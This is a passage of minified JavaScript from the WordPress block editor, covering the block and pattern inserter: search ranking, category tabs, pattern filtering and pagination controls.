o=(0,h.useMemo)((()=&gt;({[dt]:!!n})),[n]),[r]=(0,g.useSelect)((t=&gt;[t(Ii).getInserterItems(e,o)]),[e,o]),{getClosestAllowedInsertionPoint:i}=U((0,g.useSelect)(Ii)),{createErrorNotice:s}=(0,g.useDispatch)(dr.store),[l,a]=(0,g.useSelect)((e=&gt;{const{getCategories:t,getCollections:n}=e(p.store);return[t(),n()]}),[]);return[r,l,a,(0,h.useCallback)((({name:n,initialAttributes:o,innerBlocks:r,syncStatus:l,content:a},c)=&gt;{const u=i(n,e);if(null===u){const e=(0,p.getBlockType)(n)?.title??n;return void s((0,T.sprintf)((0,T.__)(&#039;Block &quot;%s&quot; can\&#039;t be inserted.&#039;),e),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;})}const d=&quot;unsynced&quot;===l?(0,p.parse)(a,{__unstableSkipMigrationLogs:!0}):(0,p.createBlock)(n,o,(0,p.createBlocksFromInnerBlocksTemplate)(r));t(d,void 0,c,u)}),[i,e,t,s])]};function MC({key:e,children:t}){return(0,d.jsx)(h.Fragment,{children:t},e)}var PC=function({children:e}){return(0,d.jsx)(Ss.Composite,{focusShift:!0,focusWrap:&quot;horizontal&quot;,render:MC,children:e})};var RC=function(){return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__no-results&quot;,children:(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;No results found.&quot;)})})};const AC=[];function NC({items:e,collections:t,categories:n,onSelectItem:o,onHover:r,showMostUsedBlocks:i,className:s}){const l=(0,h.useMemo)((()=&gt;yt(e,&quot;frecency&quot;,&quot;desc&quot;).slice(0,6)),[e]),a=(0,h.useMemo)((()=&gt;e.filter((e=&gt;!e.category))),[e]),c=(0,h.useMemo)((()=&gt;{const n={...t};return Object.keys(t).forEach((t=&gt;{n[t]=e.filter((e=&gt;(e=&gt;e.name.split(&quot;/&quot;)[0])(e)===t)),0===n[t].length&amp;&amp;delete n[t]})),n}),[e,t]);(0,h.useEffect)((()=&gt;()=&gt;r(null)),[]);const u=(0,m.useAsyncList)(n),p=n.length===u.length,g=(0,h.useMemo)((()=&gt;Object.entries(t)),[t]),f=(0,m.useAsyncList)(p?g:AC);return(0,d.jsxs)(&quot;div&quot;,{className:s,children:[i&amp;&amp;e.length&gt;3&amp;&amp;!!l.length&amp;&amp;(0,d.jsx)(EC,{title:(0,T._x)(&quot;Most used&quot;,&quot;blocks&quot;),children:(0,d.jsx)(jC,{items:l,onSelect:o,onHover:r,label:(0,T._x)(&quot;Most used&quot;,&quot;blocks&quot;)})}),u.map((t=&gt;{const n=e.filter((e=&gt;e.category===t.slug));return n&amp;&amp;n.length?(0,d.jsx)(EC,{title:t.title,icon:t.icon,children:(0,d.jsx)(jC,{items:n,onSelect:o,onHover:r,label:t.title})},t.slug):null})),p&amp;&amp;a.length&gt;0&amp;&amp;(0,d.jsx)(EC,{className:&quot;block-editor-inserter__uncategorized-blocks-panel&quot;,title:(0,T.__)(&quot;Uncategorized&quot;),children:(0,d.jsx)(jC,{items:a,onSelect:o,onHover:r,label:(0,T.__)(&quot;Uncategorized&quot;)})}),f.map((([e,t])=&gt;{const n=c[e];return n&amp;&amp;n.length?(0,d.jsx)(EC,{title:t.title,icon:t.icon,children:(0,d.jsx)(jC,{items:n,onSelect:o,onHover:r,label:t.title})},e):null}))]})}var LC=(0,h.forwardRef)((function({rootClientId:e,onInsert:t,onHover:n,showMostUsedBlocks:o},r){const[i,s,l,a]=TC(e,t);if(!i.length)return(0,d.jsx)(RC,{});const c=[],u=[];for(const e of i)&quot;reusable&quot;!==e.category&amp;&amp;(e.isAllowedInCurrentRoot?c.push(e):u.push(e));return(0,d.jsx)(PC,{children:(0,d.jsxs)(&quot;div&quot;,{ref:r,children:[!!c.length&amp;&amp;(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(NC,{items:c,categories:s,collections:l,onSelectItem:a,onHover:n,showMostUsedBlocks:o,className:&quot;block-editor-inserter__insertable-blocks-at-selection&quot;})}),(0,d.jsx)(NC,{items:u,categories:s,collections:l,onSelectItem:a,onHover:n,showMostUsedBlocks:o,className:&quot;block-editor-inserter__all-blocks&quot;})]})})}));function DC({selectedCategory:e,patternCategories:t,onClickCategory:n}){const o=&quot;block-editor-block-patterns-explorer__sidebar&quot;;return(0,d.jsx)(&quot;div&quot;,{className:`${o}__categories-list`,children:t.map((({name:t,label:r})=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,label:r,className:`${o}__categories-list__item`,isPressed:e===t,onClick:()=&gt;{n(t)},children:r},t)))})}function OC({searchValue:e,setSearchValue:t}){return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__search&quot;,children:(0,d.jsx)(Ss.SearchControl,{__nextHasNoMarginBottom:!0,onChange:t,value:e,label:(0,T.__)(&quot;Search&quot;),placeholder:(0,T.__)(&quot;Search&quot;)})})}var zC=function({selectedCategory:e,patternCategories:t,onClickCategory:n,searchValue:o,setSearchValue:r}){return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__sidebar&quot;,children:[(0,d.jsx)(OC,{searchValue:o,setSearchValue:r}),!o&amp;&amp;(0,d.jsx)(DC,{selectedCategory:e,patternCategories:t,onClickCategory:n})]})};function VC({currentPage:e,numPages:t,changePage:n,totalItems:o}){return(0,d.jsxs)(Ss.__experimentalVStack,{className:&quot;block-editor-patterns__grid-pagination-wrapper&quot;,children:[(0,d.jsx)(Ss.__experimentalText,{variant:&quot;muted&quot;,children:(0,T.sprintf)((0,T._n)(&quot;%s item&quot;,&quot;%s items&quot;,o),o)}),t&gt;1&amp;&amp;(0,d.jsxs)(Ss.__experimentalHStack,{expanded:!1,spacing:3,justify:&quot;flex-start&quot;,className:&quot;block-editor-patterns__grid-pagination&quot;,children:[(0,d.jsxs)(Ss.__experimentalHStack,{expanded:!1,spacing:1,className:&quot;block-editor-patterns__grid-pagination-previous&quot;,children:[(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;n(1),disabled:1===e,&quot;aria-label&quot;:(0,T.__)(&quot;First page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,d.jsx)(&quot;span&quot;,{children:&quot;«&quot;})}),(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;n(e-1),disabled:1===e,&quot;aria-label&quot;:(0,T.__)(&quot;Previous page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,d.jsx)(&quot;span&quot;,{children:&quot;‹&quot;})})]}),(0,d.jsx)(Ss.__experimentalText,{variant:&quot;muted&quot;,children:(0,T.sprintf)((0,T._x)(&quot;%1$s of %2$s&quot;,&quot;paging&quot;),e,t)}),(0,d.jsxs)(Ss.__experimentalHStack,{expanded:!1,spacing:1,className:&quot;block-editor-patterns__grid-pagination-next&quot;,children:[(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;n(e+1),disabled:e===t,&quot;aria-label&quot;:(0,T.__)(&quot;Next page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,d.jsx)(&quot;span&quot;,{children:&quot;›&quot;})}),(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:()=&gt;n(t),disabled:e===t,&quot;aria-label&quot;:(0,T.__)(&quot;Last page&quot;),size:&quot;compact&quot;,accessibleWhenDisabled:!0,className:&quot;block-editor-patterns__grid-pagination-button&quot;,children:(0,d.jsx)(&quot;span&quot;,{children:&quot;»&quot;})})]})]})]})}const FC=({showTooltip:e,title:t,children:n})=&gt;e?(0,d.jsx)(Ss.Tooltip,{text:t,children:n}):(0,d.jsx)(d.Fragment,{children:n});function HC({id:e,isDraggable:t,pattern:n,onClick:o,onHover:r,showTitlesAsTooltip:i,category:s,isSelected:l}){const[a,c]=(0,h.useState)(!1),{blocks:u,viewportWidth:g}=n,f=`block-editor-block-patterns-list__item-description-${(0,m.useInstanceId)(HC)}`,b=n.type===rt.user,k=(0,h.useMemo)((()=&gt;s&amp;&amp;t?(u??[]).map((e=&gt;{const t=(0,p.cloneBlock)(e);return t.attributes.metadata?.categories?.includes(s)&amp;&amp;(t.attributes.metadata.categories=[s]),t})):u),[u,t,s]);return(0,d.jsx)(SC,{isEnabled:t,blocks:k,pattern:n,children:({draggable:t,onDragStart:s,onDragEnd:p})=&gt;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__list-item&quot;,draggable:t,onDragStart:e=&gt;{c(!0),s&amp;&amp;(r?.(null),s(e))},onDragEnd:e=&gt;{c(!1),p&amp;&amp;p(e)},children:(0,d.jsx)(FC,{showTooltip:i&amp;&amp;!b,title:n.title,children:(0,d.jsxs)(Ss.Composite.Item,{render:(0,d.jsx)(&quot;div&quot;,{role:&quot;option&quot;,&quot;aria-label&quot;:n.title,&quot;aria-describedby&quot;:n.description?f:void 0,className:gs(&quot;block-editor-block-patterns-list__item&quot;,{&quot;block-editor-block-patterns-list__list-item-synced&quot;:n.type===rt.user&amp;&amp;!n.syncStatus,&quot;is-selected&quot;:l})}),id:e,onClick:()=&gt;{o(n,u),r?.(null)},onMouseEnter:()=&gt;{a||r?.(n)},onMouseLeave:()=&gt;r?.(null),children:[(0,d.jsx)(bC.Async,{placeholder:(0,d.jsx)(UC,{}),children:(0,d.jsx)(bC,{blocks:u,viewportWidth:g})}),(!i||b)&amp;&amp;(0,d.jsxs)(Ss.__experimentalHStack,{className:&quot;block-editor-patterns__pattern-details&quot;,spacing:2,children:[b&amp;&amp;!n.syncStatus&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-patterns__pattern-icon-wrapper&quot;,children:(0,d.jsx)(Dl,{className:&quot;block-editor-patterns__pattern-icon&quot;,icon:ue})}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__item-title&quot;,children:n.title})]}),!!n.description&amp;&amp;(0,d.jsx)(Ss.VisuallyHidden,{id:f,children:n.description})]})})})})}function UC(){return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-list__item is-placeholder&quot;})}var GC=(0,h.forwardRef)((function({isDraggable:e,blockPatterns:t,onHover:n,onClickPattern:o,orientation:r,label:i=(0,T.__)(&quot;Block patterns&quot;),category:s,showTitlesAsTooltip:l,pagingProps:a},c){const[u,p]=(0,h.useState)(void 0),[g,m]=(0,h.useState)(null);(0,h.useEffect)((()=&gt;{const e=t[0]?.name;p(e)}),[t]);const f=(e,t)=&gt;{m(e.name),o(e,t)};return(0,d.jsxs)(Ss.Composite,{orientation:r,activeId:u,setActiveId:p,role:&quot;listbox&quot;,className:&quot;block-editor-block-patterns-list&quot;,&quot;aria-label&quot;:i,ref:c,children:[t.map((t=&gt;(0,d.jsx)(HC,{id:t.name,pattern:t,onClick:f,onHover:n,isDraggable:e,showTitlesAsTooltip:l,category:s,isSelected:!!g&amp;&amp;g===t.name},t.name))),a&amp;&amp;(0,d.jsx)(VC,{...a})]})}));function $C({destinationRootClientId:e,destinationIndex:t,rootClientId:n,registry:o}){if(n===e)return t;const r=[&quot;&quot;,...o.select(Ii).getBlockParents(e),e],i=r.indexOf(n);return-1!==i?o.select(Ii).getBlockIndex(r[i+1])+1:o.select(Ii).getBlockOrder(n).length}var WC=function({rootClientId:e=&quot;&quot;,insertionIndex:t,clientId:n,isAppender:o,onSelect:r,shouldFocusBlock:i=!0,selectBlockOnInsert:s=!0}){const l=(0,g.useRegistry)(),{getSelectedBlock:a,getClosestAllowedInsertionPoint:c,isBlockInsertionPointVisible:u}=U((0,g.useSelect)(Ii)),{destinationRootClientId:d,destinationIndex:m}=(0,g.useSelect)((r=&gt;{const{getSelectedBlockClientId:i,getBlockRootClientId:s,getBlockIndex:l,getBlockOrder:a,getInsertionPoint:c}=U(r(Ii)),u=i();let d,p=e;const h=c();return void 0!==t?d=t:h&amp;&amp;h.hasOwnProperty(&quot;index&quot;)?(p=h?.rootClientId?h.rootClientId:e,d=h.index):n?d=l(n):!o&amp;&amp;u?(p=s(u),d=l(u)+1):d=a(p).length,{destinationRootClientId:p,destinationIndex:d}}),[e,t,n,o]),{replaceBlocks:f,insertBlocks:b,showInsertionPoint:k,hideInsertionPoint:v,setLastFocus:_}=U((0,g.useDispatch)(Ii)),y=(0,h.useCallback)(((e,t,n=!1,c)=&gt;{(n||i||s)&amp;&amp;_(null);const u=a();!o&amp;&amp;u&amp;&amp;(0,p.isUnmodifiedDefaultBlock)(u,&quot;content&quot;)?f(u.clientId,e,null,i||n?0:null,t):b(e,o||void 0===c?m:$C({destinationRootClientId:d,destinationIndex:m,rootClientId:c,registry:l}),o||void 0===c?d:c,s,i||n?0:null,t);const h=Array.isArray(e)?e.length:1,g=(0,T.sprintf)((0,T._n)(&quot;%d block added.&quot;,&quot;%d blocks added.&quot;,h),h);(0,Ho.speak)(g),r&amp;&amp;r(e)}),[o,a,f,b,d,m,r,i,s]),x=(0,h.useCallback)((e=&gt;{if(e&amp;&amp;!u()){const t=c(e.name,d);null!==t&amp;&amp;k(t,$C({destinationRootClientId:d,destinationIndex:m,rootClientId:t,registry:l}))}else v()}),[c,u,k,v,d,m]);return[d,y,x]};var KC=(e,t,n,o)=&gt;{const r=(0,h.useMemo)((()=&gt;({[dt]:!!o})),[o]),{patternCategories:i,patterns:s,userPatternCategories:l}=(0,g.useSelect)((e=&gt;{const{getSettings:n,__experimentalGetAllowedPatterns:o}=U(e(Ii)),{__experimentalUserPatternCategories:i,__experimentalBlockPatternCategories:s}=n();return{patterns:o(t,r),userPatternCategories:i,patternCategories:s}}),[t,r]),{getClosestAllowedInsertionPointForPattern:a}=U((0,g.useSelect)(Ii)),c=(0,h.useMemo)((()=&gt;{const e=[...i];return l?.forEach((t=&gt;{e.find((e=&gt;e.name===t.name))||e.push(t)})),e}),[i,l]),{createSuccessNotice:u}=(0,g.useDispatch)(dr.store),d=(0,h.useCallback)(((r,i)=&gt;{const s=o?t:a(r,t);if(null===s)return;const l=r.type===rt.user&amp;&amp;&quot;unsynced&quot;!==r.syncStatus?[(0,p.createBlock)(&quot;core/block&quot;,{ref:r.id})]:i;e((l??[]).map((e=&gt;{const t=(0,p.cloneBlock)(e);return t.attributes.metadata?.categories?.includes(n)&amp;&amp;(t.attributes.metadata.categories=[n]),t})),r.name,!1,s),u((0,T.sprintf)((0,T.__)(&#039;Block pattern &quot;%s&quot; inserted.&#039;),r.title),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;})}),[u,e,n,t,a,o]);return[s,c,d]},ZC=n(9681),qC=n.n(ZC);function YC(e){return e.toLowerCase()}var XC=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],QC=/[^A-Z0-9]+/gi;function JC(e,t,n){return t instanceof RegExp?e.replace(t,n):t.reduce((function(e,t){return e.replace(t,n)}),e)}const eB=e=&gt;e.name||&quot;&quot;,tB=e=&gt;e.title,nB=e=&gt;e.description||&quot;&quot;,oB=e=&gt;e.keywords||[],rB=e=&gt;e.category,iB=()=&gt;null,sB=[/([\p{Ll}\p{Lo}\p{N}])([\p{Lu}\p{Lt}])/gu,/([\p{Lu}\p{Lt}])([\p{Lu}\p{Lt}][\p{Ll}\p{Lo}])/gu],lB=new RegExp(&quot;(\\p{C}|\\p{P}|\\p{S})+&quot;,&quot;giu&quot;),aB=new Map,cB=new Map;function uB(e=&quot;&quot;){if(aB.has(e))return aB.get(e);const t=function(e,t){void 0===t&amp;&amp;(t={});for(var n=t.splitRegexp,o=void 0===n?XC:n,r=t.stripRegexp,i=void 0===r?QC:r,s=t.transform,l=void 0===s?YC:s,a=t.delimiter,c=void 0===a?&quot; &quot;:a,u=JC(JC(e,o,&quot;$1\0$2&quot;),i,&quot;\0&quot;),d=0,p=u.length;&quot;\0&quot;===u.charAt(d);)d++;for(;&quot;\0&quot;===u.charAt(p-1);)p--;return u.slice(d,p).split(&quot;\0&quot;).map(l).join(c)}(e,{splitRegexp:sB,stripRegexp:lB}).split(&quot; &quot;).filter(Boolean);return aB.set(e,t),t}function dB(e=&quot;&quot;){if(cB.has(e))return cB.get(e);let t=qC()(e);return t=t.replace(/^\//,&quot;&quot;),t=t.toLowerCase(),cB.set(e,t),t}const pB=(e=&quot;&quot;)=&gt;uB(dB(e)),hB=(e,t,n,o)=&gt;{if(0===pB(o).length)return e;return gB(e,o,{getCategory:e=&gt;t.find((({slug:t})=&gt;t===e.category))?.title,getCollection:e=&gt;n[e.name.split(&quot;/&quot;)[0]]?.title})},gB=(e=[],t=&quot;&quot;,n={})=&gt;{if(0===pB(t).length)return e;const o=e.map((e=&gt;[e,mB(e,t,n)])).filter((([,e])=&gt;e&gt;0));return o.sort((([,e],[,t])=&gt;t-e)),o.map((([e])=&gt;e))};function mB(e,t,n={}){const{getName:o=eB,getTitle:r=tB,getDescription:i=nB,getKeywords:s=oB,getCategory:l=rB,getCollection:a=iB}=n,c=o(e),u=r(e),d=i(e),p=s(e),h=l(e),g=a(e),m=dB(t),f=dB(u);let b=0;if(m===f)b+=30;else if(f.startsWith(m))b+=20;else{const e=[c,u,d,...p,h,g].join(&quot; &quot;);0===((e,t)=&gt;e.filter((e=&gt;!pB(t).some((t=&gt;t.includes(e))))))(uB(m),e).length&amp;&amp;(b+=10)}if(0!==b&amp;&amp;c.startsWith(&quot;core/&quot;)){b+=c!==e.id?1:2}return b}function fB(e,t,n,o=&quot;&quot;){const[r,i]=(0,h.useState)(1),s=(0,m.usePrevious)(t),l=(0,m.usePrevious)(o);s===t&amp;&amp;l===o||1===r||i(1);const a=e.length,c=r-1,u=(0,h.useMemo)((()=&gt;e.slice(20*c,20*c+20)),[c,e]),d=Math.ceil(e.length/20);return(0,h.useEffect)((function(){const e=(0,Ua.getScrollContainer)(n?.current);e?.scrollTo(0,0)}),[t,n]),{totalItems:a,categoryPatterns:u,numPages:d,changePage:e=&gt;{const t=(0,Ua.getScrollContainer)(n?.current);t?.scrollTo(0,0),i(e)},currentPage:r}}function bB({filterValue:e,filteredBlockPatternsLength:t}){return e?(0,d.jsx)(Ss.__experimentalHeading,{level:2,lineHeight:&quot;48px&quot;,className:&quot;block-editor-block-patterns-explorer__search-results-count&quot;,children:(0,T.sprintf)((0,T._n)(&quot;%d pattern found&quot;,&quot;%d patterns found&quot;,t),t)}):null}var kB=function({searchValue:e,selectedCategory:t,patternCategories:n,rootClientId:o,onModalClose:r}){const i=(0,h.useRef)(),s=(0,m.useDebounce)(Ho.speak,500),[l,a]=WC({rootClientId:o,shouldFocusBlock:!0}),[c,,u]=KC(a,l,t),p=(0,h.useMemo)((()=&gt;n.map((e=&gt;e.name))),[n]),g=(0,h.useMemo)((()=&gt;{const n=c.filter((e=&gt;{if(t===lt.name)return!0;if(t===at.name&amp;&amp;e.type===rt.user)return!0;if(t===ct.name&amp;&amp;e.blockTypes?.includes(&quot;core/post-content&quot;))return!0;if(&quot;uncategorized&quot;===t){const t=e.categories?.some((e=&gt;p.includes(e)))??!1;return!e.categories?.length||!t}return e.categories?.includes(t)}));return e?gB(n,e):n}),[e,c,t,p]);(0,h.useEffect)((()=&gt;{if(!e)return;const t=g.length,n=(0,T.sprintf)((0,T._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,t),t);s(n)}),[e,s,g.length]);const f=fB(g,t,i),[b,k]=(0,h.useState)(e);e!==b&amp;&amp;(k(e),f.changePage(1));const v=!!g?.length;return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer__list&quot;,ref:i,children:[(0,d.jsx)(bB,{filterValue:e,filteredBlockPatternsLength:g.length}),(0,d.jsx)(PC,{children:v&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(GC,{blockPatterns:f.categoryPatterns,onClickPattern:(e,t)=&gt;{u(e,t),r()},isDraggable:!1}),(0,d.jsx)(VC,{...f})]})})]})};function vB(e,t=&quot;all&quot;){const[n,o]=KC(void 0,e),r=(0,h.useMemo)((()=&gt;&quot;all&quot;===t?n:n.filter((e=&gt;!ut(e,t)))),[t,n]),i=(0,h.useMemo)((()=&gt;{const e=o.filter((e=&gt;r.some((t=&gt;t.categories?.includes(e.name))))).sort(((e,t)=&gt;e.label.localeCompare(t.label)));return r.some((e=&gt;!function(e,t){return!(!e.categories||!e.categories.length)&amp;&amp;e.categories.some((e=&gt;t.some((t=&gt;t.name===e))))}(e,o)))&amp;&amp;!e.find((e=&gt;&quot;uncategorized&quot;===e.name))&amp;&amp;e.push({name:&quot;uncategorized&quot;,label:(0,T._x)(&quot;Uncategorized&quot;)}),r.some((e=&gt;e.blockTypes?.includes(&quot;core/post-content&quot;)))&amp;&amp;e.unshift(ct),r.some((e=&gt;e.type===rt.user))&amp;&amp;e.unshift(at),r.length&gt;0&amp;&amp;e.unshift({name:lt.name,label:lt.label}),(0,Ho.speak)((0,T.sprintf)((0,T._n)(&quot;%d category button displayed.&quot;,&quot;%d category buttons displayed.&quot;,e.length),e.length)),e}),[o,r]);return i}function _B({initialCategory:e,rootClientId:t,onModalClose:n}){const[o,r]=(0,h.useState)(&quot;&quot;),[i,s]=(0,h.useState)(e?.name),l=vB(t);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-patterns-explorer&quot;,children:[(0,d.jsx)(zC,{selectedCategory:i,patternCategories:l,onClickCategory:s,searchValue:o,setSearchValue:r}),(0,d.jsx)(kB,{searchValue:o,selectedCategory:i,patternCategories:l,rootClientId:t,onModalClose:n})]})}var yB=function({onModalClose:e,...t}){return(0,d.jsx)(Ss.Modal,{title:(0,T.__)(&quot;Patterns&quot;),onRequestClose:e,isFullScreen:!0,children:(0,d.jsx)(_B,{onModalClose:e,...t})})};function xB({title:e}){return(0,d.jsx)(Ss.__experimentalVStack,{spacing:0,children:(0,d.jsx)(Ss.__experimentalView,{children:(0,d.jsx)(Ss.__experimentalSpacer,{marginBottom:0,paddingX:4,paddingY:3,children:(0,d.jsxs)(Ss.__experimentalHStack,{spacing:2,children:[(0,d.jsx)(Ss.Navigator.BackButton,{style:{minWidth:24,padding:0},icon:(0,T.isRTL)()?Kb:Zb,size:&quot;small&quot;,label:(0,T.__)(&quot;Back&quot;)}),(0,d.jsx)(Ss.__experimentalSpacer,{children:(0,d.jsx)(Ss.__experimentalHeading,{level:5,children:e})})]})})})})}function SB({categories:e,children:t}){return(0,d.jsxs)(Ss.Navigator,{initialPath:&quot;/&quot;,className:&quot;block-editor-inserter__mobile-tab-navigation&quot;,children:[(0,d.jsx)(Ss.Navigator.Screen,{path:&quot;/&quot;,children:(0,d.jsx)(Ss.__experimentalItemGroup,{children:e.map((e=&gt;(0,d.jsx)(Ss.Navigator.Button,{path:`/category/${e.name}`,as:Ss.__experimentalItem,isAction:!0,children:(0,d.jsxs)(Ss.__experimentalHStack,{children:[(0,d.jsx)(Ss.FlexBlock,{children:e.label}),(0,d.jsx)(Dl,{icon:(0,T.isRTL)()?Zb:Kb})]})},e.name)))})}),e.map((e=&gt;(0,d.jsxs)(Ss.Navigator.Screen,{path:`/category/${e.name}`,children:[(0,d.jsx)(xB,{title:(0,T.__)(&quot;Back&quot;)}),t(e)]},e.name)))]})}const wB=e=&gt;&quot;all&quot;!==e&amp;&amp;&quot;user&quot;!==e,CB=[{value:&quot;all&quot;,label:(0,T._x)(&quot;All&quot;,&quot;patterns&quot;)},{value:rt.directory,label:(0,T.__)(&quot;Pattern Directory&quot;)},{value:rt.theme,label:(0,T.__)(&quot;Theme &amp; Plugins&quot;)},{value:rt.user,label:(0,T.__)(&quot;User&quot;)}];function BB({setPatternSyncFilter:e,setPatternSourceFilter:t,patternSyncFilter:n,patternSourceFilter:o,scrollContainerRef:r,category:i}){const s=i.name===at.name?rt.user:o,l=wB(s),a=(e=&gt;e.name===at.name)(i),c=(0,h.useMemo)((()=&gt;[{value:&quot;all&quot;,label:(0,T._x)(&quot;All&quot;,&quot;patterns&quot;)},{value:it,label:(0,T._x)(&quot;Synced&quot;,&quot;patterns&quot;),disabled:l},{value:st,label:(0,T._x)(&quot;Not synced&quot;,&quot;patterns&quot;),disabled:l}]),[l]);return(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(Ss.DropdownMenu,{popoverProps:{placement:&quot;right-end&quot;},label:(0,T.__)(&quot;Filter patterns&quot;),toggleProps:{size:&quot;compact&quot;},icon:(0,d.jsx)(Dl,{icon:(0,d.jsx)(Ss.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(Ss.Path,{d:&quot;M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z&quot;,fill:&quot;currentColor&quot;})})}),children:()=&gt;(0,d.jsxs)(d.Fragment,{children:[!a&amp;&amp;(0,d.jsx)(Ss.MenuGroup,{label:(0,T.__)(&quot;Source&quot;),children:(0,d.jsx)(Ss.MenuItemsChoice,{choices:CB,onSelect:n=&gt;{var o;t(o=n),wB(o)&amp;&amp;e(&quot;all&quot;),r.current?.scrollTo(0,0)},value:s})}),(0,d.jsx)(Ss.MenuGroup,{label:(0,T.__)(&quot;Type&quot;),children:(0,d.jsx)(Ss.MenuItemsChoice,{choices:c,onSelect:t=&gt;{e(t),r.current?.scrollTo(0,0)},value:n})}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__patterns-filter-help&quot;,children:(0,h.createInterpolateElement)((0,T.__)(&quot;Patterns are available from the &lt;Link&gt;WordPress.org Pattern Directory&lt;/Link&gt;, bundled in the active theme, or created by users on this site. Only patterns created on this site can be synced.&quot;),{Link:(0,d.jsx)(Ss.ExternalLink,{href:(0,T.__)(&quot;https://wordpress.org/patterns/&quot;)})})})]})})})}const IB=()=&gt;{};function jB({rootClientId:e,onInsert:t,onHover:n=IB,category:o,showTitlesAsTooltip:r}){const[i,,s]=KC(t,e,o?.name),[l,a]=(0,h.useState)(&quot;all&quot;),[c,u]=(0,h.useState)(&quot;all&quot;),p=vB(e,c),g=(0,h.useRef)(),m=(0,h.useMemo)((()=&gt;i.filter((e=&gt;!ut(e,c,l)&amp;&amp;(o.name===lt.name||(o.name===at.name&amp;&amp;e.type===rt.user||(!(o.name!==ct.name||!e.blockTypes?.includes(&quot;core/post-content&quot;))||(&quot;uncategorized&quot;===o.name?!e.categories||!e.categories.some((e=&gt;p.some((t=&gt;t.name===e)))):e.categories?.includes(o.name)))))))),[i,p,o.name,c,l]),f=fB(m,o,g),{changePage:b}=f;(0,h.useEffect)((()=&gt;()=&gt;n(null)),[]);const k=(0,h.useCallback)((e=&gt;{a(e),b(1)}),[a,b]),v=(0,h.useCallback)((e=&gt;{u(e),b(1)}),[u,b]);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.__experimentalVStack,{spacing:2,className:&quot;block-editor-inserter__patterns-category-panel-header&quot;,children:[(0,d.jsxs)(Ss.__experimentalHStack,{children:[(0,d.jsx)(Ss.FlexBlock,{children:(0,d.jsx)(Ss.__experimentalHeading,{className:&quot;block-editor-inserter__patterns-category-panel-title&quot;,size:13,level:4,as:&quot;div&quot;,children:o.label})}),(0,d.jsx)(BB,{patternSyncFilter:l,patternSourceFilter:c,setPatternSyncFilter:k,setPatternSourceFilter:v,scrollContainerRef:g,category:o})]}),!m.length&amp;&amp;(0,d.jsx)(Ss.__experimentalText,{variant:&quot;muted&quot;,className:&quot;block-editor-inserter__patterns-category-no-results&quot;,children:(0,T.__)(&quot;No results found&quot;)})]}),m.length&gt;0&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.__experimentalText,{size:&quot;12&quot;,as:&quot;p&quot;,className:&quot;block-editor-inserter__help-text&quot;,children:(0,T.__)(&quot;Drag and drop patterns into the canvas.&quot;)}),(0,d.jsx)(GC,{ref:g,blockPatterns:f.categoryPatterns,onClickPattern:s,onHover:n,label:o.label,orientation:&quot;vertical&quot;,category:o.name,isDraggable:!0,showTitlesAsTooltip:r,patternFilter:c,pagingProps:f})]})]})}const{Tabs:EB}=U(Ss.privateApis);var TB=function({categories:e,selectedCategory:t,onSelectCategory:n,children:o}){const r={type:&quot;tween&quot;,duration:(0,m.useReducedMotion)()?0:.25,ease:[.6,0,.4,1]},i=(0,m.usePrevious)(t),s=t?t.name:null,[l,a]=(0,h.useState)(),c=e?.[0]?.name;return null===s&amp;&amp;!l&amp;&amp;c&amp;&amp;a(c),(0,d.jsxs)(EB,{selectOnMove:!1,selectedTabId:s,orientation:&quot;vertical&quot;,onSelect:t=&gt;{n(e.find((e=&gt;e.name===t)))},activeTabId:l,onActiveTabIdChange:a,children:[(0,d.jsx)(EB.TabList,{className:&quot;block-editor-inserter__category-tablist&quot;,children:e.map((e=&gt;(0,d.jsx)(EB.Tab,{tabId:e.name,&quot;aria-current&quot;:e===t?&quot;true&quot;:void 0,children:e.label},e.name)))}),e.map((e=&gt;(0,d.jsx)(EB.TabPanel,{tabId:e.name,focusable:!1,children:(0,d.jsx)(Ss.__unstableMotion.div,{className:&quot;block-editor-inserter__category-panel&quot;,initial:i?&quot;open&quot;:&quot;closed&quot;,animate:&quot;open&quot;,variants:{open:{transform:&quot;translateX( 0 )&quot;,transitionEnd:{zIndex:&quot;1&quot;}},closed:{transform:&quot;translateX( -100% )&quot;,zIndex:&quot;-1&quot;}},transition:r,children:o})},e.name)))]})};var 